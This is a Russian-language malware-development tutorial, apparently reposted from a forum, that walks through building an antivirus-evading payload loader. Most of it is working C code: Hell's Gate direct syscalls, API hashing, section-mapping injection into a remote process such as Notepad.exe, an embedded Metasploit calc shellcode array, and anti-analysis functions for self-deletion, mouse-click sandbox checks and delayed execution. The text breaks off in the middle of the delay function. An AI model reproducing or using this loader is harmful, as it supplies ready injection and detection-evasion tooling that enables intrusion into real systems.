Введение
До сих пор было продемонстрировано множество методов и техник создания и выполнения загрузчика payload, который может обходить различные программы защиты от вредоносного кода. Эта статья будет работать над созданием полнофункционального загрузчика payload с нуля, чтобы укрепить знания, полученные в предыдущих разделах.
Создайте пустой проект Visual Studio и следуйте за этим разделом.
Характеристики загрузчика payload
Реализованный загрузчик payload будет иметь следующие характеристики:
- Поддержка удаленного внедрения кода
- Инжекция с использованием прямых системных вызовов через Hell's Gate
- Хеширование API
- Функции против анализа
- Шифрование payload RC4
- Попытка взлома ключа шифрования (Брут ключа шифрования)
- Отсутствие импорта библиотек CRT
Настройка Hell's Gate
Этот загрузчик использует внедрение payload с использованием прямых системных вызовов, полученных с помощью Hell's Gate.
Для начала необходимо создать файлы Structs.h, HellsGate.c и HellAsm.asm.
В этих файлах содержатся необходимые функции для выполнения прямых системных вызовов. Файл Structs.h используется для сохранения недокументированных структур Windows и включается в последующие файлы C. В нем содержатся определения структур, таких как PEB, TEB и другие, необходимых для реализации Hell's Gate.
Файл HellAsm.asm
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
Что касается HellsGate.c, в нем будут следующие функции.HellsGate.c
C:
#include <Windows.h>
#include "Structs.h"
PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
return (PTEB)__readgsqword(0x30);
#else
return (PTEB)__readfsdword(0x16);
#endif
}
BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
// Получить заголовок DOS
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return FALSE;
}
// Получить заголовки NT
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return FALSE;
}
// Получить EAT
*ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
return TRUE;
}
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
if (djb2(pczFunctionName) == pVxTableEntry->uHash) {
pVxTableEntry->pAddress = pFunctionAddress;
// Быстрое и грязное исправление, если функция была перехвачена
WORD cw = 0;
while (TRUE) {
// Проверить, является ли это системным вызовом, в этом случае мы слишком далеко
if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
return FALSE;
// Проверить, является ли это возвратом, в этом случае, возможно, мы тоже слишком далеко
if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
return FALSE;
// Первые байты должны быть:
// MOV R10, RCX
// MOV RCX, <syscall>
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}
cw++;
};
}
}
if (pVxTableEntry->wSystemCall != NULL)
return TRUE;
else
return FALSE;
}
Код выше не имеет определения структуры VX_TABLE_ENTRY или функции djb2. Для решения этой проблемы будут созданы два новых файла: WinApi.c и Common.h.
WinApi.c - Этот файл используется для хранения функций замены библиотеки CRT и функций хеширования строк, используемых в Hell's Gate и реализации хеширования API.
Common.h - Этот файл предоставляет общие прототипы функций для возможности вызова функции из другого файла, а также пользовательские определения структур, значения хешей системных вызовов и WinAPI.
Функция хеширования строк djb2 заменяется следующими функциями HashStringJenkinsOneAtATime32BitA/W, изменяя таким образом исходный алгоритм хеширования строк, используемый в Hell's Gate.
WinApi.c
C:
#include <Windows.h>
#include "Structs.h"
#include "Common.h"
UINT32 HashStringJenkinsOneAtATime32BitA(_In_ PCHAR String)
{
SIZE_T Index = 0;
UINT32 Hash = 0;
SIZE_T Length = lstrlenA(String);
while (Index != Length)
{
Hash += String[Index++];
Hash += Hash << INITIAL_SEED;
Hash ^= Hash >> 6;
}
Hash += Hash << 3;
Hash ^= Hash >> 11;
Hash += Hash << 15;
return Hash;
}
UINT32 HashStringJenkinsOneAtATime32BitW(_In_ PWCHAR String)
{
SIZE_T Index = 0;
UINT32 Hash = 0;
SIZE_T Length = lstrlenW(String);
while (Index != Length)
{
Hash += String[Index++];
Hash += Hash << INITIAL_SEED;
Hash ^= Hash >> 6;
}
Hash += Hash << 3;
Hash ^= Hash >> 11;
Hash += Hash << 15;
return Hash;
}
Common.h
C:
#pragma once
#include <Windows.h>
// Начальное значение для функции хеширования HashStringJenkinsOneAtATime32BitA/W в 'WinApi.c'
#define INITIAL_SEED 8
UINT32 HashStringJenkinsOneAtATime32BitW(_In_ PWCHAR String);
UINT32 HashStringJenkinsOneAtATime32BitA(_In_ PCHAR String);
#define HASHA(API) (HashStringJenkinsOneAtATime32BitA((PCHAR) API))
#define HASHW(API) (HashStringJenkinsOneAtATime32BitW((PWCHAR) API))
// Это прототипы функций - функции определены в 'HellsGate.c'
PTEB RtlGetThreadEnvironmentBlock();
BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory);
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry);
// Это прототипы функций - функции определены в 'HellAsm.asm'
extern VOID HellsGate(WORD wSystemCall);
extern HellDescent();
Определите структуру VX_TABLE_ENTRY в файле Common.h, а затем обновите файл HellsGate.c, чтобы включить ее и использовать HASHA вместо djb2 в качестве функции хеширования.
VX_TABLE_ENTRY
Код:
typedef struct _VX_TABLE_ENTRY {
PVOID pAddress;
UINT32 uHash;
WORD wSystemCall;
} VX_TABLE_ENTRY, *PVX_TABLE_ENTRY;
Вычисление хешей системных вызовов
Для вычисления значений хешей системных вызовов и вывода их на консоль необходимо создать новый проект. Проект Hasher будет содержать один файл на C, который показан ниже.
Hasher.c
C:
#include <Windows.h>
#include <stdio.h>
#define STR "_JOAA"
#define INITIAL_SEED 8
UINT32 HashStringJenkinsOneAtATime32BitA(_In_ PCHAR String)
{
SIZE_T Index = 0;
UINT32 Hash = 0;
SIZE_T Length = lstrlenA(String);
while (Index != Length)
{
Hash += String[Index++];
Hash += Hash << INITIAL_SEED;
Hash ^= Hash >> 6;
}
Hash += Hash << 3;
Hash ^= Hash >> 11;
Hash += Hash << 15;
return Hash;
}
UINT32 HashStringJenkinsOneAtATime32BitW(_In_ PWCHAR String)
{
SIZE_T Index = 0;
UINT32 Hash = 0;
SIZE_T Length = lstrlenW(String);
while (Index != Length)
{
Hash += String[Index++];
Hash += Hash << INITIAL_SEED;
Hash ^= Hash >> 6;
}
Hash += Hash << 3;
Hash ^= Hash >> 11;
Hash += Hash << 15;
return Hash;
}
int main() {
printf("#define %s%s \t0x%0.8X \n", "NtCreateSection", STR, HashStringJenkinsOneAtATime32BitA("NtCreateSection"));
printf("#define %s%s \t0x%0.8X \n", "NtMapViewOfSection", STR, HashStringJenkinsOneAtATime32BitA("NtMapViewOfSection"));
printf("#define %s%s \t0x%0.8X \n", "NtUnmapViewOfSection", STR, HashStringJenkinsOneAtATime32BitA("NtUnmapViewOfSection"));
printf("#define %s%s \t0x%0.8X \n", "NtClose", STR, HashStringJenkinsOneAtATime32BitA("NtClose"));
printf("#define %s%s \t0x%0.8X \n", "NtCreateThreadEx", STR, HashStringJenkinsOneAtATime32BitA("NtCreateThreadEx"));
printf("#define %s%s \t0x%0.8X \n", "NtWaitForSingleObject", STR, HashStringJenkinsOneAtATime32BitA("NtWaitForSingleObject"));
return 0;
}
Результаты Hasher
После компиляции и запуска программа сгенерирует следующие результаты, которые следует скопировать в файл Common.h.
Дополнительно, определение структуры новой структуры VX_TABLE должно быть обновлено, чтобы включить системные вызовы, которые будут использоваться.
C:
typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtCreateSection;
VX_TABLE_ENTRY NtMapViewOfSection;
VX_TABLE_ENTRY NtUnmapViewOfSection;
VX_TABLE_ENTRY NtClose;
VX_TABLE_ENTRY NtCreateThreadEx;
VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;
Внедрение Payload через Hell's Gate
После успешной настройки Hell's Gate можно приступить к внедрению Payload. Создается новый файл Inject.c, который представлен ниже.
Следующие пункты кратко объясняют файл Inject.c:
- InitializeSyscalls - Эта функция инициализирует глобальную переменную g_Sys типа VX_TABLE, которая будет использоваться позже.
- RemoteMappingInjectionViaSyscalls - Эта функция поддерживает как локальное, так и удаленное инъекцию через параметр bLocal, который устанавливается в TRUE для локальной инъекции и в FALSE для удаленной инъекции.
- Если параметр bLocal установлен в TRUE, переменная dwLocalFlag будет установлена в PAGE_EXECUTE_READWRITE, чтобы быть подходящей для локального выполнения Payload, и второй вызов NtMapViewOfSection будет избегаться. Но если bLocal установлен в FALSE, dwLocalFlag останется PAGE_READWRITE, и функция выполнит второй вызов NtMapViewOfSection для выделения памяти удаленно.
- Переменная pExecAddress используется для сохранения базового адреса внедренного Payload. Она равна базовому адресу локально внедренного Payload (pLocalAddress), если функция настроена на выполнение Payload локально, или базовому адресу удаленно внедренного Payload (pRemoteAddress), если функция настроена на выполнение Payload удаленно.
- Переменная pExecAddress затем передается в системный вызов NtCreateThreadEx для выполнения Payload в нужный момент времени.
C:
#include <Windows.h>
#include <stdio.h>
#include "Structs.h"
#include "Common.h"
// Глобальная структура VX_TABLE
VX_TABLE g_Sys = { 0 };
BOOL InitializeSyscalls() {
// Получить PEB
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
return FALSE;
// Получить модуль NTDLL
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);
// Получить EAT NTDLL
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
return FALSE;
g_Sys.NtCreateSection.uHash = NtCreateSection_JOAA;
g_Sys.NtMapViewOfSection.uHash = NtMapViewOfSection_JOAA;
g_Sys.NtUnmapViewOfSection.uHash = NtUnmapViewOfSection_JOAA;
g_Sys.NtClose.uHash = NtClose_JOAA;
g_Sys.NtCreateThreadEx.uHash = NtCreateThreadEx_JOAA;
g_Sys.NtWaitForSingleObject.uHash = NtWaitForSingleObject_JOAA;
// Инициализировать системные вызовы
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtCreateSection))
return FALSE;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtMapViewOfSection))
return FALSE;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtUnmapViewOfSection))
return FALSE;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtClose))
return FALSE;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtCreateThreadEx))
return FALSE;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtWaitForSingleObject))
return FALSE;
return TRUE;
}
BOOL RemoteMappingInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize, IN BOOL bLocal) {
HANDLE hSection = NULL;
HANDLE hThread = NULL;
PVOID pLocalAddress = NULL,
pRemoteAddress = NULL,
pExecAddress = NULL;
NTSTATUS STATUS = NULL;
SIZE_T sViewSize = NULL;
LARGE_INTEGER MaximumSize = {
.HighPart = 0,
.LowPart = sPayloadSize
};
DWORD dwLocalFlag = PAGE_READWRITE;
//--------------------------------------------------------------------------
// Выделение локальной карты
HellsGate(g_Sys.NtCreateSection.wSystemCall);
if ((STATUS = HellDescent(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
printf("[!] NtCreateSection не удалось с ошибкой : 0x%0.8X \n", STATUS);
return FALSE;
}
if (bLocal) {
dwLocalFlag = PAGE_EXECUTE_READWRITE;
}
HellsGate(g_Sys.NtMapViewOfSection.wSystemCall);
if ((STATUS = HellDescent(hSection, (HANDLE)-1, &pLocalAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, dwLocalFlag)) != 0) {
printf("[!] NtMapViewOfSection [L] не удалось с ошибкой : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Локальная память выделена по адресу: 0x%p размером : %d \n", pLocalAddress, sViewSize);
//--------------------------------------------------------------------------
// Запись Payload
printf("[#] Нажмите <Enter>, чтобы записать Payload ... ");
getchar();
memcpy(pLocalAddress, pPayload, sPayloadSize);
printf("\t[+] Payload скопирован с 0x%p по 0x%p \n", pPayload, pLocalAddress);
//--------------------------------------------------------------------------
// Выделение удаленной карты
if (!bLocal) {
HellsGate(g_Sys.NtMapViewOfSection.wSystemCall);
if ((STATUS = HellDescent(hSection, hProcess, &pRemoteAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection [R] не удалось с ошибкой : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Удаленная память выделена по адресу: 0x%p размером : %d \n", pRemoteAddress, sViewSize);
}
//--------------------------------------------------------------------------
// Выполнение Payload через создание потока
pExecAddress = pRemoteAddress;
if (bLocal) {
pExecAddress = pLocalAddress;
}
printf("[#] Нажмите <Enter>, чтобы выполнить Payload ... ");
getchar();
printf("\t[i] Запуск потока с начальным адресом 0x%p ... ", pExecAddress);
HellsGate(g_Sys.NtCreateThreadEx.wSystemCall);
if ((STATUS = HellDescent(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pExecAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx не удалось с ошибкой : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Готово \n");
printf("\t[+] Создан поток с идентификатором : %d \n", GetThreadId(hThread));
//--------------------------------------------------------------------------
// Ожидание завершения потока
HellsGate(g_Sys.NtWaitForSingleObject.wSystemCall);
if ((STATUS = HellDescent(hThread, FALSE, NULL)) != 0) {
printf("[!] NtWaitForSingleObject не удалось с ошибкой : 0x%0.8X \n", STATUS);
return FALSE;
}
// Отмена отображения локального вида
HellsGate(g_Sys.NtUnmapViewOfSection.wSystemCall);
if ((STATUS = HellDescent((HANDLE)-1, pLocalAddress)) != 0) {
printf("[!] NtUnmapViewOfSection не удалось с ошибкой : 0x%0.8X \n", STATUS);
return FALSE;
}
// Закрытие дескриптора раздела
HellsGate(g_Sys.NtClose.wSystemCall);
if ((STATUS = HellDescent(hSection)) != 0) {
printf("[!] NtClose не удалось с ошибкой : 0x%0.8X \n", STATUS);
return FALSE;
}
return TRUE;
}
Перечисление процессов
Для создания полного модуля внедрения в процесс необходимо использовать системный вызов NtQuerySystemInformation для получения дескриптора целевого процесса, как описано в модуле Process Enumeration - NtQuerySystemInformation.
Использование нового системного вызова потребует обновления структуры VX_TABLE, чтобы включить еще один элемент, VX_TABLE_ENTRY.
NtQuerySystemInformation, который будет инициализирован функцией InitializeSyscalls. Кроме того, используйте программу Hasher для вычисления хеш-значения для строки "NtQuerySystemInformation".
C:
BOOL GetRemoteProcessHandle(IN LPCWSTR szProcName, IN DWORD* pdwPid, IN HANDLE* phProcess) {
ULONG uReturnLen1 = NULL,
uReturnLen2 = NULL;
PSYSTEM_PROCESS_INFORMATION SystemProcInfo = NULL;
PVOID pValueToFree = NULL;
NTSTATUS STATUS = NULL;
// Это неудача со статусом = STATUS_INFO_LENGTH_MISMATCH, но это нормально, потому что нам нужно узнать, сколько нужно выделить (uReturnLen1)
HellsGate(g_Sys.NtQuerySystemInformation.wSystemCall);
HellDescent(SystemProcessInformation, NULL, NULL, &uReturnLen1);
// Выделение достаточного буфера для возвращаемого массива структур SYSTEM_PROCESS_INFORMATION
SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)uReturnLen1);
if (SystemProcInfo == NULL) {
return FALSE;
}
// Поскольку мы будем изменять 'SystemProcInfo', мы сохраняем его начальное значение перед циклом while, чтобы позже освободить его
pValueToFree = SystemProcInfo;
// Вызов NtQuerySystemInformation с правильными аргументами, вывод будет сохранен в 'SystemProcInfo'
HellsGate(g_Sys.NtQuerySystemInformation.wSystemCall);
STATUS = HellDescent(SystemProcessInformation, SystemProcInfo, uReturnLen1, &uReturnLen2);
if (STATUS != 0x0) {
printf("[!] NtQuerySystemInformation не удалось с ошибкой : 0x%0.8X \n", STATUS);
return FALSE;
}
while (TRUE) {
// Проверка размера имени процесса
// Сравнение имени процесса с целью
if (SystemProcInfo->ImageName.Length && HASHW(SystemProcInfo->ImageName.Buffer) == HASHW(szProcName)) {
// Открытие дескриптора целевого процесса и сохранение его, затем выход
*pdwPid = (DWORD)SystemProcInfo->UniqueProcessId;
*phProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)SystemProcInfo->UniqueProcessId);
break;
}
// Если NextEntryOffset равен 0, мы достигли конца массива
if (!SystemProcInfo->NextEntryOffset)
break;
// Переход к следующему элементу в массиве
SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)SystemProcInfo + SystemProcInfo->NextEntryOffset);
}
// Освобождение памяти, используя начальный адрес
HeapFree(GetProcessHeap(), 0, pValueToFree);
// Проверка, получен ли дескриптор целевого процесса
if (*pdwPid == NULL || *phProcess == NULL)
return FALSE;
else
return TRUE;
}
Основная функция
Для тестирования кода создайте main.c, который будет содержать точку входа загрузчика, а также обычную полезную нагрузку Msfvenom calc.
Объяснение что делается в основной функции:
Функция InitializeSyscalls - это первая вызываемая функция.
Все остальные функции зависят от нее для инициализации структуры системных вызовов.
Если TARGET_PROCESS определен, вызывается функция GetRemoteProcessHandle для получения дескриптора целевого процесса и передачи его вывода в RemoteMappingInjectionViaSyscalls. Если TARGET_PROCESS не определен, код непосредственно вызывает RemoteMappingInjectionViaSyscalls с псевдо-значением для дескриптора локального процесса (1), указывая внедрить полезную нагрузку локально.
C:
#include <Windows.h>#include <stdio.h>
#include "Structs.h"
#include "Common.h"// комментарий для внедрения в локальный процесс
//
#define TARGET_PROCESS L"Notepad.exe"// x64 calc metasploit
unsigned char Payload [] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x20, 0x2F, 0x69, 0x20, 0x2F,
0x74, 0x31, 0x20, 0x2F, 0x64, 0x65, 0x6C, 0x20, 0x22, 0x25, 0x50, 0x52,
0x4F, 0x47, 0x52, 0x41, 0x4D, 0x46, 0x49, 0x4C, 0x45, 0x25, 0x22, 0x00,
0x00
};
// Вторичный поток
DWORD WINAPI MainThread(LPVOID lpParam) {
UNREFERENCED_PARAMETER(lpParam);
printf("\n\n[~] Запущено \n");
// Инициализация системных вызовов
if (!InitializeSyscalls()) {
printf("[!] Не удалось инициализировать системные вызовы \n");
return FALSE;
}
// Получение дескриптора целевого процесса
HANDLE hProcess = NULL;
DWORD dwPid = NULL;
if (TARGET_PROCESS) {
if (!GetRemoteProcessHandle(TARGET_PROCESS, &dwPid, &hProcess)) {
printf("[!] Не удалось получить дескриптор целевого процесса \n");
return FALSE;
}
printf("[+] Дескриптор целевого процесса получен : %d \n", dwPid);
}
else {
hProcess = (HANDLE)1; // Псевдо-дескриптор для локальной инъекции
}
// Выполнение внедрения
if (!RemoteMappingInjectionViaSyscalls(hProcess, Payload, sizeof(Payload), !TARGET_PROCESS)) {
printf("[!] Внедрение Payload не удалось \n");
return FALSE;
}
printf("[+] Выполнено \n");
// Ожидание завершения
if (TARGET_PROCESS) {
WaitForSingleObject(hProcess, INFINITE);
}
return TRUE;
}
int main() {
HANDLE hThread = CreateThread(NULL, 0, MainThread, NULL, 0, NULL);
if (hThread == NULL) {
printf("[!] Не удалось создать поток \n");
return 1;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return 0;
}
Результаты:
Удаленная инъекция
Локальная инъекция
Функции антианализа
Для добавления функций антианализа создайте новый файл с именем AntiAnalysis.c. Этот файл будет содержать следующую функциональность:
- Функция самоудаления.
- Функция мониторинга щелчков мыши.
- Функция задержки выполнения с использованием NtDelayExecution.
C:
#include <Windows.h>
#include <stdio.h>
#include "Structs.h"
#include "Common.h"
// Глобальные переменные для хука
HHOOK g_hMouseHook = NULL;
DWORD g_dwMouseClicks = NULL;
// Callback-функция, которая будет выполняться при каждом клике мыши
LRESULT CALLBACK HookEvent(int nCode, WPARAM wParam, LPARAM lParam) {
if (wParam == WM_LBUTTONDOWN || wParam == WM_RBUTTONDOWN || wParam == WM_MBUTTONDOWN) {
printf("[+] Запись клика мыши\n");
g_dwMouseClicks++;
}
return CallNextHookEx(g_hMouseHook, nCode, wParam, lParam);
}
BOOL MouseClicksLogger() {
MSG Msg = { 0 };
// Установка хука
g_hMouseHook = SetWindowsHookExW(
WH_MOUSE_LL,
(HOOKPROC)HookEvent,
NULL,
NULL
);
if (!g_hMouseHook) {
printf("[!] SetWindowsHookExW не удалось с ошибкой: %d\n", GetLastError());
}
// Обработка необработанных событий
while (GetMessageW(&Msg, NULL, NULL, NULL)) {
DefWindowProcW(Msg.hwnd, Msg.message, Msg.wParam, Msg.lParam);
}
return TRUE;
}
BOOL DeleteSelf() {
WCHAR szPath[MAX_PATH * 2] = { 0 };
FILE_DISPOSITION_INFO Delete = { 0 };
HANDLE hFile = INVALID_HANDLE_VALUE;
PFILE_RENAME_INFO pRename = NULL;
const wchar_t* NewStream = (const wchar_t*)NEW_STREAM;
SIZE_T sRename = sizeof(FILE_RENAME_INFO) + sizeof(NewStream);
// Выделение достаточного буфера для структуры 'FILE_RENAME_INFO'
pRename = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sRename);
if (!pRename) {
printf("[!] HeapAlloc не удалось с ошибкой: %d\n", GetLastError());
return FALSE;
}
// Очистка структур
ZeroMemory(szPath, sizeof(szPath));
ZeroMemory(&Delete, sizeof(FILE_DISPOSITION_INFO));
// Маркировка файла для удаления (используется во втором вызове SetFileInformationByHandle)
Delete.DeleteFile = TRUE;
// Установка имени нового потока данных и его размера в структуре 'FILE_RENAME_INFO'
pRename->FileNameLength = sizeof(NewStream);
RtlCopyMemory(pRename->FileName, NewStream, sizeof(NewStream));
// Получение имени текущего файла
if (GetModuleFileNameW(NULL, szPath, MAX_PATH * 2) == 0) {
printf("[!] GetModuleFileNameW не удалось с ошибкой: %d\n", GetLastError());
return FALSE;
}
// Открытие дескриптора текущего файла
hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileW [R] не удалось с ошибкой: %d\n", GetLastError());
return FALSE;
}
wprintf(L"[i] Переименование :$DATA в %s ...", NEW_STREAM);
// Переименование потока данных
if (!SetFileInformationByHandle(hFile, FileRenameInfo, pRename, sRename)) {
printf("[!] SetFileInformationByHandle [R] не удалось с ошибкой: %d\n", GetLastError());
return FALSE;
}
wprintf(L"[+] ГОТОВО\n");
CloseHandle(hFile);
// Открытие нового дескриптора текущего файла
hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE && GetLastError() == ERROR_FILE_NOT_FOUND) {
// Если файл уже удален
return TRUE;
}
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileW [D] не удалось с ошибкой: %d\n", GetLastError());
return FALSE;
}
wprintf(L"[i] УДАЛЕНИЕ ...");
// Маркировка для удаления после закрытия дескриптора файла
if (!SetFileInformationByHandle(hFile, FileDispositionInfo, &Delete, sizeof(Delete))) {
printf("[!] SetFileInformationByHandle [D] не удалось с ошибкой: %d\n", GetLastError());
return FALSE;
}
wprintf(L"[+] ГОТОВО\n");
CloseHandle(hFile);
// Освобождение выделенного буфера
HeapFree(GetProcessHeap(), 0, pRename);
return TRUE;
}
typedef NTSTATUS(NTAPI* fnNtDelayExecution)(
BOOLEAN Alertable,
PLARGE_INTEGER DelayInterval
);
BOOL DelayExecutionVia_NtDE(FLOAT ftMinutes) {
// Преобразование минут в миллисекунды
DWORD dwMilliSeconds = ftMinutes * 60000;
LARGE_INTEGER DelayInterval = { 0 };
LONGLONG Delay = NULL;
NTSTATUS STATUS = NULL;
fnNtDelayExecution pNtDelayExecution = (fnNtDelayExecution)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtDelayExecution");
DWORD _T0 = NULL;
DWORD _T1 = NULL;
printf("[i] Задержка выполнения с использованием \"NtDelayExecution\" на %0.3d секунд", (dwMilliSeconds / 1000));
// Преобразование из миллисекунд в 100-наносекундные интервалы времени (отрицательные)
Delay = dwMilliSeconds * 10000;
DelayInterval.QuadPart = -Delay;
_T0 = GetTickCount64();
// Пауза на 'dwMilliSeconds' мс
if ((STATUS = pNtDelayExecution(FALSE, &DelayInterval)) != 0x00 && STATUS != STATUS_TIMEOUT) {
printf("[!] NtDelayExecution не удалось с ошибкой: 0x%0.8X\n", STATUS);
return FALSE;
}
_T1 = GetTickCount64();
// Если прошло по крайней мере 'dwMilliSeconds' мс, то 'DelayExecutionVia_NtDE' успешно, в противном случае неудача
